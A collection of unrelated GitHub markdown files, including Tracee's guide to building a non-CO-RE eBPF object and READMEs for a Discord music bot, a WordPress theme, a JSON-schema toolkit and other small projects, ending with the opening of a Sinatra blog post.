text:
# Running non CO-RE Tracee

> These instructions are meant to describe how to build tracee's eBPF object
> for your running kernel when it does not support
> [CO-RE](https://nakryiko.com/posts/bpf-portability-and-co-re/).

## Introduction

!!! Introduction
    As you are probably already aware, **Tracee** consists of:

    !!! tracee-ebpf Tip

        - Userspace agent
            1. Handles lifecycle of ebpf programs
            1. Receives events from eBPF programs
        - eBPF code
            1. Programs loaded in the kernel for event collection

    !!! tracee-rules Tip

        - OPA signatures
        - Golang signatures
        - Go-Cel signatures (tech-preview)

**tracee-ebpf** leverages Linux's eBPF technology, which requires some kernel
level integration. **Tracee** supports two eBPF integration modes:

1. **CO-RE**: a **portable mode**, which will seamlessly run on all supported
   envs.

    The portable option, also known as CO-RE (compile once, run everywhere),
    requires that your operating system support
    [BTF](https://nakryiko.com/posts/btf-dedup/) (BPF Type Format). Tracee will
    automatically run in CO-RE mode if it detects that the environment supports
    it. The **tracee-ebpf** binary has a CO-RE eBPF object embedded on it. When
    executed, it loads the CO-RE eBPF object into the kernel and each of its
    object's eBPF programs are executed when triggered by kernel probes, or
    tracepoints, for example.

    This mode requires no intervention or preparation on your side.  You can
    manually detect if your environments supports it by checking if the
    following file exists on your machine: `/sys/kernel/btf/vmlinux`.

2. **non CO-RE**: a **kernel-specific mode**, requiring eBPF object to be built.

    If you want to run Tracee on a host without BTF support, there are 2 options:
    1. to use BTF files from [BTFHUB](https://github.com/aquasecurity/btfhub)
       and provide the TRACEE_BTF_FILE environment variable pointing to the BTF
       file of your running kernel.
    2. to have `../../Makefile` build and install the eBPF object for you
       (instructions in this file). This will depend on having clang and a
       kernel version specific kernel-header package.

## The need for a non CO-RE eBPF object build

Until [recently](https://github.com/aquasecurity/tracee/commit/20549fabefa37b70ca1b8bade8ae39ef0b934942),
**tracee-ebpf** was capable of building a non CO-RE (portable) eBPF object when
the running kernel did not support BTF, one of the kernel features needed for
eBPF portability among different kernels.

**That now is changed**:

It is the **user responsibility** to have the *non CO-RE eBPF object* correctly
placed in `/tmp/tracee` directory. Tracee will load it, instead of loading the
embedded CO-RE eBPF object, as a last resource if there is no:

1. BTF file available in running kernel (`/sys/kernel/btf/vmlinux`).
1. BTF file pointed by `TRACEE_BTF_FILE` environment variable.
1. BTF file embedded into "tracee-ebpf" binary ([BTFHUB](https://github.com/aquasecurity/btfhub)).

!!! Note
    Installing the non CO-RE eBPF object in the environment does not mean will
    will run **tracee-ebpf** with it by default. If your system supports CO-RE
    eBPF objects it will be chosen instead. If your system supports CO-RE eBPF
    but does not contain embedded BTF information, but is support by BTFHUB,
    then the CO-RE eBPF object will be used by default. The only way you can
    make sure the non CO-RE eBPF object is used is by always informing the
    `TRACEE_BPF_FILE=...` environment variable.

**Reasoning behind this change**

With [BTFHUB](https://github.com/aquasecurity/btfhub), it is now possible to
run **tracee-ebpf** without compiling the eBPF object to each different kernel,
thus removing the automatic builds (although the functionality is still kept
through the Makefile).

## Install the non CO-RE eBPF object

By running:

```text
$ make clean
$ make all
$ make install-bpf-nocore
```

make installs an eBPF object file under `/tmp/tracee` for the current running
kernel. Example:

```text
$ find /tmp/tracee
/tmp/tracee
/tmp/tracee/tracee.bpf.5_4_0-91-generic.v0_6_5-80-ge723a22.o
```

!!! Note
    This example, the Ubuntu Focal kernel **5.4.0-91-generic** supports CO-RE,
    but the kernel does not have embedded BTF information available. In cases
    like this, the user may opt to either use [BTFHUB](https://github.com/aquasecurity/btfhub)
    btf files (with an environment variable TRACEE_BTF_FILE=.../5.4.0-91-generic.btf)
    OR to install the non CO-RE eBPF object and run **tracee-ebpf** command
    without an env variable.

## Run non CO-RE tracee-ebpf

If you install the non CO-RE eBPF object and run **tracee-ebpf** in an
environment that needs it, then the debug output will look like:

```text
$ sudo ./dist/tracee-ebpf --debug

OSInfo: ARCH: x86_64
OSInfo: VERSION: "20.04.3 LTS (Focal Fossa)"
OSInfo: ID: ubuntu
OSInfo: ID_LIKE: debian
OSInfo: PRETTY_NAME: "Ubuntu 20.04.3 LTS"
OSInfo: VERSION_ID: "20.04"
OSInfo: VERSION_CODENAME: focal
OSInfo: KERNEL_RELEASE: 5.8.0-63-generic
BTF: bpfenv = false, btfenv = false, vmlinux = false
BPF: no BTF file was found or provided, trying non CO-RE eBPF at
     /tmp/tracee/tracee.bpf.5_8_0-63-generic.v0_6_5-20-g3353501.o
```

One way of forcing **tracee-ebpf** to use non CO-RE eBPF object, even in a kernel
that supports CO-RE, is by setting the `TRACEE_BPF_FILE` environment, like this:

```
$ sudo TRACEE_BPF_FILE=/tmp/tracee/tracee.bpf.5_4_0-91-generic.v0_6_5-80-ge723a22.o ./dist/tracee-ebpf --debug -o option:parse-arguments --trace comm=bash --trace follow
OSInfo: PRETTY_NAME: "Ubuntu 20.04.3 LTS"
OSInfo: VERSION_ID: "20.04"
OSInfo: VERSION_CODENAME: focal
OSInfo: KERNEL_RELEASE: 5.4.0-91-generic
OSInfo: ARCH: x86_64
OSInfo: VERSION: "20.04.3 LTS (Focal Fossa)"
OSInfo: ID: ubuntu
OSInfo: ID_LIKE: debian
BTF: bpfenv = true, btfenv = false, vmlinux = false
BPF: using BPF object from environment: /tmp/tracee/tracee.bpf.5_4_0-91-generic.v0_6_5-80-ge723a22.o
TIME             UID    COMM             PID     TID     RET              EVENT                ARGS
...
```

## Use the [building environment](./environment.md)

If you're willing to generate the non CO-RE eBPF object using the `tracee-make`
building environment container, you're able to by doing:

```text
$ make -f builder/Makefile.tracee-make alpine-prepare
$ make -f builder/Makefile.tracee-make alpine-shell
```
or
```text
$ make -f builder/Makefile.tracee-make ubuntu-prepare
$ make -f builder/Makefile.tracee-make ubuntu-shell
```

and then, inside the docker container:

```text
tracee@f65bab137305[/tracee]$ make clean
tracee@f65bab137305[/tracee]$ make tracee-ebpf
tracee@f65bab137305[/tracee]$ make install-bpf-nocore

tracee@f65bab137305[/tracee]$ sudo ./dist/tracee-ebpf --debug
KConfig: warning: could not check enabled kconfig features
(could not read /boot/config-5.8.0-63-generic: ...)
KConfig: warning: assuming kconfig values, might have unexpected behavior
OSInfo: KERNEL_RELEASE: 5.8.0-63-generic
OSInfo: ARCH: x86_64
OSInfo: VERSION: "21.04 (Hirsute Hippo)"
OSInfo: ID: ubuntu
OSInfo: ID_LIKE: debian
OSInfo: PRETTY_NAME: "Ubuntu 21.04"
OSInfo: VERSION_ID: "21.04"
OSInfo: VERSION_CODENAME: hirsute
BTF: bpfenv = false, btfenv = false, vmlinux = false
BPF: no BTF file was found or provided
BPF: trying non CO-RE eBPF at /tmp/tracee/tracee.bpf.5_8_0-63-generic.v0_6_5-20-g0b921b1.o
KConfig: warning: assuming kconfig values, might have unexpected behavior
TIME             UID    COMM             PID     TID     RET ...
```

repository: grantseltzer/tracee

repo_name: grantseltzer/tracee


text:
[![Build Status](https://travis-ci.org/alexhermida/pinecone.svg?branch=master)](https://travis-ci.org/alexhermida/pinecone)

# Vigotech.org

## Pinecone managament site

Application for basic management of events inside medium size communities and groups. Its purpose is to help
groups organizers to have a picture of future and past events within the community.

* Allow events creation
* Integration with google calendar
* Integration with Twitter (WIP)
* Integration with Telegram Bot (WIP)

## Backend

* Django w/ DRF
* PostreSQL

Environment variables needed:

    `GOOGLE_APPLICATION_CREDENTIALS`
    `GOOGLE_CALENDAR_ID`

## Frontend

* VueJS with Vuetify

repository: alexhermida/pinecone

branch_name: refs/heads/master

extension: md

gha_language: Python

license_type: permissive

repo_name: alexhermida/pinecone


text:
# [0.2.0](https://github.com/dashevo/feature-flags-contract/compare/v0.1.0...v0.2.0) (2021-07-14)

### Features

* update schema to work with DPP 0.20 ([#9](https://github.com/dashevo/feature-flags-contract/issues/9), [88c450c](https://github.com/dashevo/feature-flags-contract/commit/88c450ca92c61811084f065b853c27c54e7945d9))
* remove VERIFY_LLMQ_SIGS_WITH_CORE feature flag ([#10](https://github.com/dashevo/feature-flags-contract/issues/10))

### BREAKING CHANGES

* `VERIFY_LLMQ_SIGS_WITH_CORE` feature flag is removed

# [0.1.0](https://github.com/dashevo/feature-flags-contract/compare/v0.1.0) (2021-05-03)

### Features

* add feature flag types module ([#6](https://github.com/dashevo/feature-flags-contract/issues/6))
* add `verifyLLMQSignaturesWithCore` feature flag ([#3](https://github.com/dashevo/feature-flags-contract/issues/3))

license: MIT

repository: antouhou/platform

repo_name: antouhou/platform


text:
[![GoogleAMP](http://i.imgur.com/wX89Pfc.png)](https://www.ampproject.org/)

[![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome)

# An AMP-first, mobile responsive WordPress theme for blogging that you can use for free on your projects

"For many, reading on the mobile web is a slow, clunky and frustrating experience - but it doesn’t have to be that way. The Accelerated Mobile Pages (AMP) Project is an open source initiative that embodies the vision that publishers can create mobile optimized content once and have it load instantly everywhere."

It's early days for AMP and as such there isn't any WordPress themes that use the technology by default. We've decided to give it a go and built a simple, elegant theme you can use for your blogging. Open source and available for anyone to contribute.

Download, use for free and just have fun with it. You can check out the demo over at [http://amp.jessehanley.com/](http://amp.jessehanley.com/) ⚡

Follow [@jessethanley](https://twitter.com/jessethanley) and direct message for any feature requests.

## Installation

Download this file as a zip.

Upload to your website as per normal.

Done!

## Automatic Updates via WP Pusher

[![WPPusher](https://wppusher.com/images/wppusher-header-logo.png)](https://wppusher.com/)

Download [WP Pusher](https://wppusher.com).

Install the plugin on your website.

Go to "Install Themes" in the WP Pusher menu.

Add this repo and make sure you tick "Push-to-Deploy".

Done! It'll now update automatically when we push our changes to GitHub, ensuring that you have the latest version running.

## Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/jessehanley/wordpress-amp-theme. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

## License

The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).

repository: TomOndiba/wordpress-amp-theme

repo_name: TomOndiba/wordpress-amp-theme


text:
# Machine-Learning
Published esearch paper can be found [here](https://github.com/karinabk/Machine-Learning/blob/master/paper.pdf). Practice in Machine Learning ( Deep Learning), implementations of algorithms.

## Tools

* Vizualizatoin of CNN - [Digit recognition](http://scs.ryerson.ca/~aharley/vis/conv/flat.html)

## Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

### Prerequisites

See requirements.txt

```
conda 4.5.4
python 3.6.4
etc
```

### Installing

Install anaconda 4 from the official site.

Then make aliasses for default versions of python and pip in the /.bashsrc:

```
alias python = python3
alias pip = pip3
```

Create and activate enviroment via anaconda and install all packages required in the requirements.txt

```
conda create yourenvname
source activate yourenvname
```

## Authors

* **Karina Bekbayeva** - *Worked with kNN, Random Forest, Naive Bayes, ANN* - [karinabk](https://github.com/karinabk)

* **Elzhan Zeinulla** - *Worked with Logistic Regressions, kNN, SVM. Did an analysis using ROC and CAP* - [zelzhan](https://github.com/zelzhan)

## License

This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details

## Acknowledgments

* Inspired and guided with [Adnan Yazici](https://sst.nu.edu.kz/adnan-yazici-phd/)
* Glad to have good programming team "Depressed and Funny"

repository: karinabk/Machine-Learning

repo_name: karinabk/Machine-Learning


text:
# README-Generator

Professional README Generator

# Description

* README Generator is a node.js command-line application that dynamically generates a professional README.md file from a user's input using the npm Inquirer package.

* When user types node index.js in the command line then the user is prompted with few questions about the project.

* Once user answers all the questions then this application generates a README.md file based on user's response.

* The README will be populated with the following:

1. Project title
2. Description
3. Table of Contents
4. Installation
5. Usage
6. License
7. Contributing
8. Tests
9. Questions
- User GitHub profile link
- User GitHub email

# Table of Contents

* Built With
* Installation
* Usage
* License
* Contributors
* Testing
* Link
* Screenshots
* Video
* Questions

# Built With:

[Inquirer package](https://www.npmjs.com/package/inquirer)

# Installation

Run the following commands for installation:

```bash
npm init
```

```bash
npm install inquirer
```
# Usage

The application will be invoked by using the following command:

```bash
node index.js
```
Answer the prompted questions and a README.md file will be generated based on the response.

Watch video demonstration under video section.

# License

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)

# Contributors

Faizila Amlani

# Testing

Make sure you have installed inquirer properly otherwise nothing will work.

# Link

Refer to Video section for sample generated README.

DEMO: https://github.com/Faizila/README-Generator/blob/main/assets/DEMO.gif

# Screenshots

![gitbash-img](https://user-images.githubusercontent.com/78191579/137217142-d9703061-a8e0-42ff-8d75-74ad21efe3b5.JPG)
![generatedREADME1](https://user-images.githubusercontent.com/78191579/137217147-766c4802-c5b7-45c9-aac2-887a5565cb97.JPG)
![generatedREADME2](https://user-images.githubusercontent.com/78191579/137217155-e789a72a-6c9d-4385-bd57-11165c612344.JPG)

# Video

See a walkthrough video demonstrating the functionality of the application here:
https://watch.screencastify.com/v/asWIj0BnZ9dIox2UbR1q

DEMO: https://github.com/Faizila/README-Generator/blob/main/assets/DEMO.gif

# Questions

If you have any other questions or comments you can contact me at:

   My GitHub: https://github.com/Faizila

   My Email<EMAIL_ADDRESS>

   Issues: https://github.com/Faizila/README-Generator/issues

repository: Faizila/README-Generator

branch_name: refs/heads/main

repo_name: Faizila/README-Generator


text:
# cidc-schemas
| Branch                                                            | Status                                                                                |
| ----------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| [master](https://cimac-cidc.github.io/cidc-schemas/)              | [![Build Status](https://travis-ci.org/CIMAC-CIDC/cidc-schemas.svg?branch=master)](https://travis-ci.org/CIMAC-CIDC/cidc-schemas)  |
| [release](https://cimac-cidc.github.io/cidc-schemas/tree/release) | [![Build Status](https://travis-ci.org/CIMAC-CIDC/cidc-schemas.svg?branch=release)](https://travis-ci.org/CIMAC-CIDC/cidc-schemas) |

This repository contains formal definitions of the CIDC metadata model using [json-schema](https://json-schema.org/) syntax and vocabulary.

### View documentation at https://cimac-cidc.github.io/cidc-schemas/

## Installation

To install the latest stable version from the `release` branch, run:
```bash
pip install git+https://github.com/cimac-cidc/cidc-schemas@release
```

To install the latest development version from the `master` branch, run:
```bash
pip install git+https://github.com/cimac-cidc/cidc-schemas
```

## Development

### Project Structure

- **`cidc_schemas/`** - a python module for generating, validating, and reading manifest and assay templates.
  - **`schemas/`** - json specifications defining the CIDC metadata model.
    - `templates/` - schemas for generating and validating manifest and assay templates.
    - `assays/` - schemas defining assay data models
- **`docs/`** - the most recent build of the data model documentation, along with templates and scripts for re-generating the documentation.
- **`template_examples/`** - example populated Excel files for template specifications in `schemas/templates`.
- **`tests/`** - tests for the `cidc_schemas` module.

### Running tests

This repository has unit tests in the _tests_ folder. After installing dependencies
the tests can be run via the command

```bash
py.test --cache-clear tests
```

### Building documentation

To build the documentation, run the following commands:

```bash
python setup.py install # install helpers from the cidc_schemas library
python docs/generate_docs.py
```

This will output the generated html documents in `docs/docs`. If the updated docs are pushed up and merged
into master, they will be viewable at https://cimac-cidc.github.io/cidc-schemas/.

## Using the Command-Line Interface

This project comes with a command-line interface for validating schemas and generating/validating assay and manifest templates.

### Install the CLI

Clone the repository and cd into it

```bash
git clone git@github.com:CIMAC-CIDC/cidc-schemas.git
cd cidc-schemas
```

Install the `cidc_schemas` package (this adds the `cidc_schemas` CLI to your console)

```bash
python setup.py install
```

Run `cidc_schemas --help` to see available options.

If you're making changes to the module and want those changes to be reflected in the CLI without reinstalling the `cidc_schemas` module every time, run

```bash
python3 -m cidc_schemas.cli [args]
```

### Generate templates

Create a template for a given template configuration.

```bash
cidc_schemas generate_template -m templates/pbmc_template.json -o pbmc.xlsx
```

### Validate filled-out templates

Check that a populated template file is valid with respect to a template specification.

```bash
cidc_schemas validate_template -m templates/pbmc_template.json -x template_examples/pbmc_template.xlsx
```

### Validate JSON schemas

Check that a JSON schema conforms to the JSON Schema specifications.

```bash
cidc_schemas validate_schema -f shipping_core.json
```

### Convert between yaml and json

The CLI comes with a little utility for converting between yaml and json files.

```bash
cidc_schemas convert --to_json <some_yaml_file>
```

## Creating New Excel Templates

### Workflow

A new manifest or assay template has been "added" to the repository once these three things are true:

- A file `schemas/templates/<TEMPLATE NAME>.json` exists specifying the template schema.
- A file `template_examples/<TEMPLATE NAME>.xlsx` exists containing a populated example Excel template corresponding to the template schema.
- Running `pytest tests/test_templates.py` generates no errors related to this template.

Here's the recommended workflow for achieving those three things:

1. Create a new git branch and switch to it (naming your branch something like `template-dev-<TEMPLATE NAME>`):
   ```bash
    git checkout -b <YOUR BRANCH NAME>
   ```
2. On this branch, create a new template schema called `<TEMPLATE NAME>.json` in the `schemas/templates` directory. See the template schema structure section below for guidance.
3. Use the CLI to generate an empty Excel template from your schema, and visually verify that the generated template accords with your expectations. Iteratively edit the schema and regenerate the Excel template until you are satisfied.
4. Fill out the generated Excel template with some valid sample values, and place that file in `template_examples` with the name `<TEMPLATE NAME>.xlsx`.
   - **Note**: by this point, you should have created two files:
     1. `schemas/templates/<TEMPLATE NAME>.json`
     2. `template_examples/<TEMPLATE NAME>.xlsx`
5. Ensure that `pytest tests/test_templates.py` raises no errors related to this template.
6. Commit and push your changes.
   ```bash
    # Add the two files you've created
    git add schemas/templates/<TEMPLATE NAME>.json template_examples/<TEMPLATE NAME>.xlsx
    git commit -m "Added template for <TEMPLATE NAME>"
    git push -u origin <YOUR BRANCH NAME>
   ```
7. Navigate to GitHub and create a pull request. Get feedback on your template.
8. Once your pull request is approved, merge your changes into master. All done!

### Template Schema Structure

The current template generator can create empty Excel workbooks with arbitrarily many worksheets in them from JSON schemas. Every worksheet in the template has the same high level structure made up of two sections:

1. **`preamble_rows`**: a set of key-value rows appearing at the top of the worksheet. This is a good place to have template users input data that applies to, e.g., the entire batch of samples.
2. **`data_columns`**: a data table that appears below `preamble_rows` in each worksheet, containing data headers with columns beneath them with multiple data entries for each header. Data columns are grouped into subtables, where a set of column headers will have one shared header above them (e.g., the shared header "Filled by Biorepository" should appear above all data columns that the biorepository will fill out). This is a good place to have template users input data that will be different for, e.g., each sample.

**Note**: Either of these sections can be omitted from a given worksheet.

The template generator expects JSON schemas with the following structure:

```
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "$id": <a unique id for this template>,
  "title": <title appearing at top of every worksheet>,
  "description": <a statement about this template to appear in documentation>
  "properties": {
    "worksheets": {
      <worksheet name>: {
        "preamble_rows": {
          <field name>: <value schema>,
          <field name>: <value schema>,
          ...
        },
        "data_columns": {
          <subtable header>: {
            <field name>: <value schema>,
            <field name>: <value schema>,
            ...
          },
          <subtable header>: {
            ...
          },
          ...
        }
      },
      <worksheet name>: {...}
    }
  }
}
```

Template elements:

- **`<worksheet name>`**: the name for the worksheet as it will appear in Excel.
- **`<field name>`**: a human-readable label for a template field as it should appear in the spreadsheet. In the preamble section, these will be row keys. In the data section, these will be column headers.
- **`<value schema>`**: a reference to a property in another JSON schema in the data model, or a custom JSON schema. The `<value schema>`'s `"type"` and `"format"` properties will be used for cell data validation in the generated Excel spreadsheet.
- **`<subtable header>`**: A shared header that appears in a merged cell above the data column headers specified as properties of this subtable. `<subtable header>`s are only valid as a property of the `"data_columns"` section of the template schema.

repository: curlup/cidc-schemas

repo_name: curlup/cidc-schemas


text:
# music-bot-example

> Example of a Music Bot project modified by Zealcord, made by DevYukine

## Getting Started Using Glitch

1.  Create your bot account at **[Discord Developer Portal](https://discordapp.com/developers)** and get the Token, then invite them to your servers!
2.  Go to **[Glitch](https://glitch.com)**, click **New Project** button, then choose **`Clone from Git Repo`**.
3.  Before doing that, We recommend you to make a Glitch account first (login) to prevent lost projects.
4.  Then, input **`https://github.com/zealcordNation/music-bot-example.git`** at the field. Click **`OK`**.
5.  Specify a prefix for your bot, and immediately input the token that you have obtained before, in the `config.js`.
6.  To get the YouTube API key, please open the **[tutorial video here](https://youtu.be/3jZ5vnv-LZc?t=7)**.
7.  Change the name of the project to whatever you want (optional).
8.  After that, go to the **Tools** > **Terminal** button, then restart your project to save the progress you have done by runing the `refresh` command.
9.  Your bot is ready, and now we only need to make your bot online for 24 hours. **[see this video](https://youtu.be/-5ptk-Klfcw?t=69)**!

## Contributing

1.  Fork it!
2.  Create your feature branch: `git checkout -b my-new-feature`
3.    Push to the branch: `git push origin my-new-feature`
5.  Submit a pull request :D

## Author

**Music-Bot** © [iCrawl](https://github.com/iCrawl), Released under the [MIT](https://github.com/zealcordNation/music-bot-example/blob/master/LICENSE.md) License.<br>
Authored and maintained by iCrawl. Pre-modified by [Zealcord](https://github.com/zealcordNation)

> GitHub [@zealcordNation](https://github.com/zealcordNation)

repository: machiamakuzo/kuz-bot-music

repo_name: machiamakuzo/kuz-bot-music


text:
# read-argv
> Read the _[process.argv](https://nodejs.org/docs/latest/api/process.html#process_process_argv)_ as an object

The [process.argv](https://nodejs.org/docs/latest/api/process.html#process_process_argv) property returns an array containing the command line arguments passed when the Node.js process was launched. The first element will be [process.execPath](https://nodejs.org/docs/latest/api/process.html#process_process_execpath) which will be read by the underscore variable. See **process.argv0** if access to the original value of **argv[0]** is needed. The second element will be the path to the JavaScript file being executed which will also be read by the underscore. The remaining elements will be any additional command line arguments.

## Usage:

```js
const readArgv = require('read-argv');

const argv = readArgv(process.argv);
const files = argv._;
const args = argv.$.slice(3);
```

repository: adriancmiranda/read-argv

repo_name: adriancmiranda/read-argv


text:
# metabasepy: Python wrapper for metabase REST Api
[![](https://img.shields.io/pypi/v/metabasepy.svg?maxAge=3600)](https://pypi.org/project/metabasepy/)
[![Coverage Status](https://coveralls.io/repos/github/mertsalik/metabasepy/badge.svg?branch=master)](https://coveralls.io/github/mertsalik/metabasepy?branch=master)

## Installing

Install metabasepy by running:

```shell
pip install metabasepy
```

## Documentation

- [User Guide][]
- [Commands Tutorial][]

[User Guide]: ./docs/guide.md
[Commands Tutorial]: ./docs/commands.md

repository: mertsalik/metabasepy

gha_license_id: MIT

repo_name: mertsalik/metabasepy


text:
# Database Schema for Synergen

Synergen uses a NoSQL database to persist user data. This document describes the schema for how that data should be stored. The database will comprise of four collections.
- A `users` collection containing User data (User[])
- A `goals` collection containing public goal data (Goal[])
- A `objectives` collection containing public objective data (Objective[])
- A `groups` collection containing available group information (Group[])

The schema of the objects stored in each collection are defined below. Additional metadata for each object may be defined as development progresses.

## User

A user is any person using the system. A user has the following attributes:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | |
| `name` | string | the name of the user |
| `username` | string | the username defined by the user that can uniquely identify this user. Mutable. |
| `email` | string | the email address of the user |
| `lastLogin` | UNIX timestamp | a record of the last time the user accessed the service |
| `goals` | Goal[] | an array of goals private to the user. Includes adopted goals. |
| `objectives` | Objective[] | an array of objectives private to the user. Includes adopted goals. |
| `createDate` | number |the date when the user was created |
| `updateDate` | number| the date and time when the user's profile was last updated |
| `active` | boolean | flag to confirm whether the user's email has been verified |

## Task

A task is the smallest unit of data in the Synergen service. It has the following attributes:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | |
| `details` | string | the details of the task |
| `type` | string | the type of task (defaults to `check`) |
| `createDate` | number | the date when the task was created |
| `updateDate` | number | the date and time when the task was updated |

## Goal

A goal is essentially a collection of tasks. Goals are associated either publically (in the `goals` collection), with a user (in the `users` collection under a User entry), or with a group (in the `groups` collection under a Group entry). A goal has the following attributes:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | |
| `title` | string | the title of the goal |
| `description` | string | a brief description of the goal |
| `tasks` | Task[] | a list of tasks associated with the goal |
| `creator` | UUID | the id of the user who created the goal (useful for public goals and tracking adoptions) |
| `parent` | UUID | the id of the public goal this goal was adopted from. Helpful for tracking stats and other followers. |
| `tags` | string[] | tags that can be searched when users are looking for goals |
| `createDate` | number | the date and time when the goal was created |
| `updateDate` | number | the date and time when the goal was updated |
| `beginDate` | number | the date and time when the goal was started
| `targetDate` | number | the date (and time) when the goal should be accomplished (set per user or group) |

There is a special format for the `goals` collection that allows a user to rollback changes they have made to a public goal, or for users searching the goal to adopt an earlier version of the goal. As such, the physical `goals` collection in the database is structured as follows:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | the id of the goal that has been published. This ID is the same as the id of the goal the user created. |
| `latest` | PublicGoal | the latest version. Stored separately so searches are done more efficiently on it |
| `previous` | PublicGoal[] | A list of all previous versions of the goal |
| `creator` | UUID | the id of the user who created the goal |
| `tags` | string[] | an array of strings used when searching for the goal |
| `parent` | UUID | the id of the public goal this goal was templated from (if it was templated) |
| `publishDate` | number | the date and time when the goal was published |
| `updateDate` | number| the date and time when the public goal information was updated |

The schema for a PublicGoal is simply the bare necessities for creating a goal:

| Name | Type | Description |
|:---|:---|:---|
| `title` | string | the title of the goal |
| `description` | string | a description of the goal |
| `tasks` | string[] | the details for each of the tasks associated with the goal |
| `adoptions` | the number of times this version of the goal has been adopted |

## Objective

Objectives are collections of goals and are the highlest level of organization in the Synergen data hierarchy. Objectives are associated either publically (in the `objectives` collection), with a user (in the `users` collection under a User entry), or with a group (in the `groups` collection under a Group entry). An objective has the following attributes:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | |
| `title` | string | the title of the objective |
| `description` | string | a brief description of the objective |
| `goals` | Goal[] | a list of goals associated with the objective |
| `creator` | UUID | the id of the user who created the objective (useful for public objectives and tracking adoptions) |
| `public` | boolean | flag to determine whether the objective has been published or not |
| `parent` | UUID | the id of the public objective from which this objecive was adopted |
| `adoptions` | number | the number of times the objective has been adopted |
| `tags` | string[] | tags that can be searched when users are looking for objectives |
| `createDate` | number | the date and time when the objective was created |
| `targetDate` | number | the date (and time) when the objective should be accomplished (set per user or group) |
| `updateDate` | number | the date and time when the objective was updated |

## Group

Groups are collections of users. They are currently always public from the moment they are created, but this functionality will most likely be changed in the future to allow for private groups among a known network of friends. Groups have the following attributes:

| Name | Type | Description |
|:---|:---|:---|
| `_id` | UUID | |
| `name` | string | the name of the group |
| `description` | string | a brief description of the group |
| `goals` | Goal[] | a list of goals associated with the group |
| `objectives` | Objective[] | a list of objectives associated with the group |
| `creator` | UUID | the id of the user who created the group |
| `members` | UUID[] | a list of the ids of users belonging to the group |
| `owners` | UUID[] | a list of group members who have special privileges within the group |
| `createDate` | number | the date the group was created |
| `updateDate` | number | the date and time the group was updated |
| `tags` | string[] | tags that can be searched when users are looking for groups |

repository: synergy-gen/synergen-api-server

repo_name: synergy-gen/synergen-api-server


text:
# JDO Website

This repository contains the sources for the [Apache DB JDO website](https://db.apache.org/jdo/).

## Building the Site

The content and styling of the site is defined in the [AsciiDoc](https://asciidoc.org/) format.
It is built using [Maven](https://maven.apache.org/).
For details on publishing the site see section [Publishing the Site](#publishing-the-site).

The site can be built by calling `mvn clean compile`. This generates the HTML files in `target/site`.
Most of the site will work with the exception of the javadoc file downloads.
If needed, call `mvn package`. This copies the javadoc files to `target/site`.
The site can then be viewed by opening the local file `target/site/index.html` in a browser.

### Adding Javadoc

The site contains a packaged version of the JDO API javadoc. It can be updated as follows:

* Create the javadoc jar (e.g. jdo-api-3.2-javadoc.jar) in the db-jdo repository by calling the following command in the api submodule: `mvn clean install -Papache-release`.
* Create a new folder in the javadoc resources directory e.g. `src/main/resources/javadoc/api32`.
* Copy the javadocs jar into the new folder, e.g. `cp  jdo-api-3.2-javadoc.jar  src/main/resources/javadoc/api32`.
* Create a new subfolder, e.g. `src/main/resources/javadoc/api32/jdo-api-3.2-javadoc`.
* Unpack the javadoc jar in the subfolder.
* Edit javadoc.adoc under src/main/asciidoc and create a new section 'JDO 3.2 javadoc'.
* Add two links: one referring index.html in the subfolder and one referring the javadoc jar.

## Contributing to the Site

Contributions to the website are always appreciated.
If you are new to this project, please have a look at our [Get Involved](https://db.apache.org/jdo/get-involved.html) page first.

This repository contains the JDO website source.

 * The AsciiDoc sources can be found in `src/main/asciidoc`.
 * The website menu is defined in `src/main/template`.
 * The converter for migrating the old HTML files to AsciiDoc can be found in `src/main/java`.
 * Additional pre-compiled resources are located in `src/main/resources`.

Contributions to this repository follow the default [GitHub workflow](https://guides.github.com/introduction/flow/)
using [forks](https://guides.github.com/activities/forking/).

To contribute changes, you can follow these steps:

 * Adapt the AsciiDoc files in `src/main/asciidoc` or the website menu in  `src/main/template`.
 * Build the site (see [above](#building-the-site)) and verify the generated website by viewing `target/site/index.html` locally with a web browser.
 * Commit the source changes (not the build artifacts) in your branch and open a pull request.

### Reporting issues

If you find any issues please provide a PR or [create a JIRA ticket](https://issues.apache.org/jira/projects/JDO/issues/?filter=allopenissues).

### Publishing the Site

After changes have been made to the sources in the `src/main/asciidoc` or `src/main/template` directory, changes will be published automatically to the live web site by simply pushing changes to the main branch of the repository. The process is as follows:

1. Pushing changes to the main branch invokes the post-push script in [`db-jdo-site/.github/workflows/deploy-site.yml`](./.github/workflows/deploy-site.yml) which builds the site in `target/site` via `mvn clean package`.

2. If the build is successful, the build artifacts in the main branch are pushed to the `publish` branch.

3. Once the changes have been pushed to the `publish` branch, the script in `.asf.yaml.publish` is automatically invoked. This script is executed by Apache Infrastructure machines, and it publishes changes to `db.apache.org/jdo`. It may take some time for the changes to be seen on the live site.
Details on the use of .asf.yaml is found [here](https://cwiki.apache.org/confluence/display/INFRA/git+-+.asf.yaml+features#git.asf.yamlfeatures-WebSiteDeploymentServiceforGitRepositories).

repository: apache/db-jdo-site

gha_language: HTML

repo_name: apache/db-jdo-site


text:
---
layout: post
title:      "My Sinatra Project"
date:       2020-06-26 03:01:40 +0000
permalink:  my_sinatra_project
---

Going in to my Sinatra project, I was extremely excited to finally build an actual working website. Something I could show to my friends and family and have them actually be able to use it and understand it (no offense to my CLI project).

I really liked the idea of an interface where users could make posts for everyone to see, but I wanted to take it one step further. I was originally going to make it an app for any business to see who does what and users could post for all to see. I ended up catering it towards restaurants specifically.

